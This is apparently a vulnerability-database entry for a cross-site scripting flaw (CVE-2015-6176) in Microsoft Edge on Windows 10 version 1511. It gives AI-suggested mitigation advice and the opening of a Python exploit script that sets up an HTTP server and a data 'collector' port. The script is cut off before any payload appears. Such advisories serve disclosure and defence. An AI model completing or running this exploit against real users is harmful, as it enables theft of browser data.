Microsoft Edge Windows 10 Version 1511 · Cross Site Scripting (XSS)
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Data as of 20 Aug 2025, 02:22 UTC
What to do
AI-suggested
Given the affected Windows 10 version (1511) is no longer supported, the primary mitigation is to upgrade all systems to a supported and fully patched version of Windows 10 or Windows 11, ensuring the latest Microsoft Edge browser is installed. Organizations should enforce strict update policies and deprecate legacy systems. Additionally, deploying web filtering and endpoint protection solutions can help block access to malicious websites that might exploit this vulnerability. User awareness training to avoid clicking suspicious links or visiting untrusted sites is also critical. Network segmentation and monitoring for unusual browser behavior can help detect exploitation attempts. Since no official patches are available, compensating controls such as disabling legacy browsers or restricting their use to non-critical environments should be considered.
Description
Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS)
Indicators of compromise
Exploit source code
# Titles: Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS)
# Author: nu11secur1ty
# Date: 2025-07-18
# Vendor: Microsoft
# Software: Microsoft Edge Browser
# Reference: https://www.cve.org/CVERecord?id=CVE-2015-6176
#!/usr/bin/python
# nu11secur1ty CVE-2015-6176
import http.server
import socketserver
import socket
import threading
from urllib import parse
import requests
import datetime
PORT = 8080
COLLECTOR_PORT = 9000
# HTML page with extended XSS exploit that sends lots…